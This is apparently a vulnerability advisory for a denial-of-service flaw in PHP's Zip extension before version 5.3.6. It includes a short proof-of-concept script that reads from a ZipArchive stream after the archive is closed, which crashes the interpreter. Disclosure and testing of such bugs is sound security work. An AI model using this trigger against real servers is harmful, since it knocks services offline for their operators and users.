PHP is prone to a remote denial-of-service vulnerability that affects the 'Zip' extension.
Successful attacks will cause the application to crash, creating a denial-of-service condition. Due to the nature of this issue, arbitrary code-execution may be possible; however, this has not been confirmed.
Versions prior to PHP 5.3.6 are vulnerable.<?php
$target_file ='META-INF/MANIFEST.MF';
$za = new ZipArchive();if($za->open('test.jar')!== TRUE){return FALSE;}if($za->statName($target_file)!== FALSE){
$fd = $za->getStream($target_file);}else{
$fd = FALSE;}
$za->close();if(is_resource($fd)){
echo strlen(stream_get_contents($fd));}
?>
